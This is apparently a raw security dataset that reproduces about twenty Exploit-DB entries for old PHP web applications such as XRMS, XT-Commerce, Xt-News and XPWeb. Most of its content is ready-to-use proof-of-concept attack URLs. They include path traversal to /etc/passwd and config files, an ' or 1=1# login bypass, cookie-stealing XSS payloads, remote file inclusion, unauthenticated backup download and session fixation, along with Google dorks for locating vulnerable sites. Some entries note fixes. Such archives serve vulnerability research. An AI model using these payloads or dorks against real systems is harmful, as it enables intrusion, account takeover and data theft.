deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5137
Description: XPWeb 3.3.2 - 'url' Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-02-17
Author: GoLd_M

Exploit:
### XPWeb 3.3.2 (Download.php url) Remote File Disclosure Vulnerability
### http://puzzle.dl.sourceforge.net/sourceforge/xpweb/XPWeb_v3.3.2.tgz
### POC :
###    /XPWeb_v3.3.2/Download.php?url=Config.inc.php
###    /XPWeb_v3.3.2/Download.php?url=../../../../../../../etc/passwd
### Dorks : intitle:XPWeb 3.3.2
###        intitle:XPWeb 3.0.1
### I'm tryagi .. TRYAG.Cc/cc

# milw0rm.com [2008-02-17]
Exploit-DB #18467
Description: XRayCMS 1.1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2012-02-06
Author: chap0

Exploit:
# Exploit Title: XRayCMS 1.1.1 SQL Injection Vulnerability
# Date: 2/5/2012
# Author: chap0
# Software Link: http://sourceforge.net/projects/xraycms/files/latest/download
# Version: 1.1.1
# Tested on: Ubuntu


XRay CMS is vulnerable to a SQL Injection attack which allows 
authentication bypass into the admins account. If a malicious 
user supplies ' or 1=1# into the applications user name field 
they will be logged into the applications admin account.


Jan 29, 2012 – Contacted Vendor No Response
Feb 05, 2012 – Public Disclosure

Since the vendor did not reply we attempted to create our own
fixes for this issue. The vulnerability exist in “login2.php” 
on lines 20 and 21.

17	if(!isset($_POST['username'])) header("Location: login.php?error_username");
18	if(!isset($_POST['password'])) header("Location: login.php?error_password");
19		
20	$user = $_POST['username'];
21	$pass = $_POST['password'];

If the lines 20 and 21 are changed to:

$user = mysql_real_escape_string($_POST['username']);
$pass = mysql_real_escape_string($_POST['password']);

This will prevent the sql injection from happening in the user name field.
Exploit-DB #32323
Description: XRms 1.99.2 - 'campaign_title' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-04
Author: Fabian Fingerle

Exploit:
source: https://www.securityfocus.com/bid/31008/info
    
XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
http://www.example.com/xrms/campaigns/some.php?campaign_title="><script>alert(1);</script>
Exploit-DB #32325
Description: XRms 1.99.2 - 'case_title' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-04
Author: Fabian Fingerle

Exploit:
source: https://www.securityfocus.com/bid/31008/info
      
XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
      
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
http://www.example.com/xrms/cases/some.php?case_title="><script>alert(1);</script>
Exploit-DB #32321
Description: XRms 1.99.2 - 'company_name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-04
Author: Fabian Fingerle

Exploit:
source: https://www.securityfocus.com/bid/31008/info
  
XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/xrms/companies/some.php?company_name="><script>alert(1);</script>
Exploit-DB #32326
Description: XRms 1.99.2 - 'file_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-04
Author: Fabian Fingerle

Exploit:
source: https://www.securityfocus.com/bid/31008/info
       
XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
       
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
http://www.example.com/xrms/files/some.php?file_id="><script>alert(1);</script>
Exploit-DB #32322
Description: XRms 1.99.2 - 'last_name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-04
Author: Fabian Fingerle

Exploit:
source: https://www.securityfocus.com/bid/31008/info
   
XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
http://www.example.com/xrms/contacts/some.php?last_name="><script>alert(1);</script>
Exploit-DB #32318
Description: XRms 1.99.2 - 'login.php?target' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-04
Author: Fabian Fingerle

Exploit:
source: https://www.securityfocus.com/bid/31008/info

XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/xrms/login.php?target="><script>alert(1);</script>
Exploit-DB #32324
Description: XRms 1.99.2 - 'opportunity_title' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-04
Author: Fabian Fingerle

Exploit:
source: https://www.securityfocus.com/bid/31008/info
     
XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
http://www.example.com/xrms/opportunities/some.php?opportunity_title="><script>alert(1);</script>
Exploit-DB #32327
Description: XRms 1.99.2 - 'starting' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-04
Author: Fabian Fingerle

Exploit:
source: https://www.securityfocus.com/bid/31008/info
        
XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
        
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
http://www.example.com/xrms/reports/custom/mileage.php?starting="><script>alert(1);</script>
Exploit-DB #32320
Description: XRms 1.99.2 - 'title' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-04
Author: Fabian Fingerle

Exploit:
source: https://www.securityfocus.com/bid/31008/info
 
XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/xrms/activities/some.php?title="><script>alert(1);</script>
Exploit-DB #31315
Description: XRms 1.99.2 - CRM 'msg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-02-28
Author: vijayv

Exploit:
source: https://www.securityfocus.com/bid/28041/info

XRMS CRM is prone to a cross-site scripting vulnerability because it fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

XRMS CRM 1.99.2 is affected; other versions may also be vulnerable. 

http://www.example.com//xrms/admin/users/self.php?msg=Preferences%20successfully%20saved&msg=<script>alert("xss");</script>
Exploit-DB #6131
Description: XRms 1.99.2 - Remote File Inclusion / Cross-Site Scripting / Information Gathering
Type: webapps
Platform: php
Date: 2008-07-25
Author: AzzCoder

Exploit:
##############################################################

XMRS Multiple Vulnerabilities (ZeroDay at 25-07-2008)
Author: AzzCoder [azzcoder@hotmail.com]
Product: http://www.xrms.org/
Product Type: CRM
Thanks: coresecurity.com

Remote File Inclusion
	File: activities/workflow-activities.php
	Variable: $include_directory
	Required register_globals: Yes

XSS
	Multiple Files
	Variable: $msg
	Quote limitations: Yes

Information Gathering
	tests/info.php
	phpinfo() call

##############################################################

# milw0rm.com [2008-07-25]
Exploit-DB #9565
Description: Xstate Real Estate 1.0 - Blind SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-01
Author: Moudi

Exploit:
/*

              _____       _ ___        __          
             | ____|_   _(_) \ \      / /_ _ _   _ 
             |  _| \ \ / / | |\ \ /\ / / _` | | | |
             | |___ \ V /| | | \ V  V / (_| | |_| |
             |_____| \_/ |_|_|  \_/\_/ \__,_|\__, |
                                              |___/ 
                                    _____                    
                                   |_   _|__  __ _ _ __ ___  
                                      | |/ _ \/ _` | '_ ` _ \ 
                                      | |  __/ (_| | | | | | |
                                      |_|\___|\__,_|_| |_| |_|

Xstate Real Estate 1.0 (bSQL/XSS) Multiples Vulnerability

Discovered By : Moudi
Contact : <m0udi@9.cn>
Download : http://www.xstate.org

Greetings : Mizoz, Zuka, str0ke, 599eme Man.
Please visit: http://unkn0wn.ws/board/index.php

*/

[+] Exploit bSQL:

- Vulnerable code in page.html (pid).

- Poc:
  http://127.0.0.1/page.html?pid=[bSQL]

  http://demo.xstate.org/page.html?pid=1 and 1=1 TRUE
  http://demo.xstate.org/page.html?pid=1 and 1=2 FALSE

[+] Exploit XSS:

- Vulnerable code in home.html (/).
- Vulnerable code in lands.html (/d).

- Poc:
  http://127.0.0.1/home.html/[XSS]
  http://127.0.0.1/lands.html/[XSS]

  http://demo.xstate.org/home.html/"><script>alert(document.cookie);</script>
  http://demo.xstate.org/lands.html/"><script>alert(document.cookie);</script>

Note: have somes other xss, tired to do all ^^

# milw0rm.com [2009-09-01]
Exploit-DB #12447
Description: XT-Commerce 1.0 Beta 1 - Pass / Create and Download Backup
Type: webapps
Platform: php
Date: 2010-04-29
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : XT-Commerce v1 Beta 1 => by Pass / Creat and Download Backup Vulnerability   
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                                                                                                                                    
| # Dork     : Powered by XT-Commerce                                                                                                               
| # Tested on: windows SP2 Français V.(Pnx2 2.0)        
| # Bug      : Backup                                                                     
======================      Exploit By indoushka       =================================
# Exploit  :  

http://127.0.0.1/XT-Commerce/admin/backup.php/login.php?action=backupnow

to download buckup :http://127.0.0.1/XT-Commerce/admin/backup.php/login.php?action=download&file=db_comm[PII_REDACTED]2138.sql

db_comm[PII_REDACTED]2138.sql chang it to the name of the backup and you cant download it with IE i download it with opera 10.10 + Mozilla Firefox



Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * Xproratix ==========================================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (www.v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * www.no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net 
www.alkrsan.net * www.kadmiwe.net * www.arhack.net * D4NB4R http://www.ilegalintrusion.net/foro/
--------------------------------------------------------------------------------------------------------------
Exploit-DB #29311
Description: Xt-News 0.1 - 'add_comment.php?id_news' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-22
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21719/info

Xt-News is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.

An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 0.1 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/add_comment.php?id_news=[XSS]
Exploit-DB #29313
Description: Xt-News 0.1 - 'show_news.php?id_news' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-22
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21719/info
 
Xt-News is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.
 
An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
Version 0.1 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/show_news.php?id_news=[XSS]
Exploit-DB #29314
Description: Xt-News 0.1 - 'show_news.php?id_news' SQL Injection
Type: webapps
Platform: php
Date: 2006-12-22
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21719/info
  
Xt-News is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.
  
An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
Version 0.1 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/show_news.php?id_news=[SQL INJECTION]
Exploit-DB #3209
Description: Xt-Stats 2.4.0.b3 (server_base_dir) - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-27
Author: ThE dE@Th

Exploit:
Download:http://www.xt-scripts.com/index.php?dl=32
**************************************************
Finded by ThE dE@Th
*******************

Greetz For :AsB-May Team & HaCk.eGy
***********************************

xt_counter.php:
*************

require( $server_base_dir.'management/sources/counter_class.php');


http://www.site.com/[path]/xt_counter.php?server_base_dir=[evil_code]
*************************************************************

# milw0rm.com [2007-01-27]
Exploit-DB #32405
Description: xt:Commerce 3.04 - 'advanced_search_result.php?keywords' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-22
Author: David Vieira-Kurz

Exploit:
source: https://www.securityfocus.com/bid/31313/info

xt:Commerce is prone to multiple vulnerabilities, including a session-fixation vulnerability and a cross-site scripting vulnerability.

An attacker can leverage the session-fixation issue to hijack a session of an unsuspecting user. The attacker can exploit the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

xt:Commerce 3.04 is vulnerable; other versions may also be affected.

https://www.example.com/advanced_search_result.php?keywords=/>"<script>alert(15)</script>&x=1&y=1
Exploit-DB #29641
Description: XT:Commerce 3.04 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-02-23
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22698/info

xt:Commerce is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

xt:Commerce 3.04 and prior versions are vulnerable to this issue. 

http://www.example.com/index.php?currency=EUR&manufacturers_id=1&template=../../../../../../../../etc/passwd%00
Exploit-DB #32406
Description: xt:Commerce 3.04 - 'XTCsid' Session Fixation
Type: webapps
Platform: php
Date: 2008-09-22
Author: David Vieira-Kurz

Exploit:
source: https://www.securityfocus.com/bid/31313/info
 
xt:Commerce is prone to multiple vulnerabilities, including a session-fixation vulnerability and a cross-site scripting vulnerability.
 
An attacker can leverage the session-fixation issue to hijack a session of an unsuspecting user. The attacker can exploit the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
xt:Commerce 3.04 is vulnerable; other versions may also be affected.

https://www.example.com/xtcommerce304/shopping_cart.php/XTCsid/15031988
Exploit-DB #15490
Description: XT:Commerce < 3.04 SP2.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-11-11
Author: Philipp Niedziela

Exploit:
#----------------------------------------------------------------------------------
# Cross-Site-Scripting XT:Commerce < 3.04 SP2.1
#----------------------------------------------------------------------------------
# Affected Software .: XT:Commerce < 3.04 SP2.1
# Venedor ...........: http://www.xt-commerce.de
# Class .............: XSS
# Author ............: Philipp Niedziela
# Original advisory .: http://pn-it.com/blog/wp-content/uploads/2010/11/ad01.txt
# Contact ...........: pn[-at-]pn-it.com
# Date ..............: 2010-11-11
# Tested on: ........: Ubuntu 10.04 / Apache

XT:Commerce is prone to a (permanent) XSS.

PoC:
An attacker needs to create an account, inject javascript into field "street"
(e.g. "><script>alert(document.cookie)</script>) and place an order.
When the administrator opens the order in the backend of the shop, the
javascript will be executed.
By getting the cookie of the admin, the attacker gets the session-id
and user-id. If binding session and ip is _not_ enabled, the attacker will
be able to take over the admin-session.


Solution:
Enable binding session to IP in the backend of your shop
Exploit-DB #15039
Description: xt:Commerce Gambio 2008 < 2010 - 'reviews.php' Error-Based SQL Injection
Type: webapps
Platform: php
Date: 2010-09-18
Author: secret

Exploit:
   ________  _____________  / /_
  / ___/ _ \/ ___/ ___/ _ \/ __/
 (__  )  __/ /__/ /  /  __/ /_  
/____/\___/\___/_/   \___/\__/  

# Exploit Title: xt:Commerce Gambio 2008 - 2010 ERROR Based SQL Injection "reviews.php"
# Date: 2010-09-18
# Author: secret
# Contact : secret_hf@hotmail.com / ICQ : 17-33-77
# Site : swissfaking.net/board
# Software Link: http://www.gambio.de/
# Version: 2006 - 2008 - 2010 - all versions
# Tested on: XP / Linux

# Fixed? : NOT FIXED

# Dorks : Gambio inurl:"reviews.php" / Gambio inurl:"product_reviews.php?products_id=" etc...

##############################################################################################

[ERROR BASED SQL INJECTION]

http://www.xxxxx.com/product_reviews_info.php?products_id=x[SQL INJECTION]

e.g. http://server/product_reviews_info.php?products_id=4[ERROR BASED SQL INECTION]
e.g. http://server/product_reviews_info.php?products_id=4'

->   xtc_db_error ("select manufacturers_id from products where products_id = 4/'", "1064

##############################################################################################

[THANKS TO]

ALLAH - الله لا إله لا ايل

To all my brothers & sisters in IRAN - god bless you - support the GREEN REVOLUTION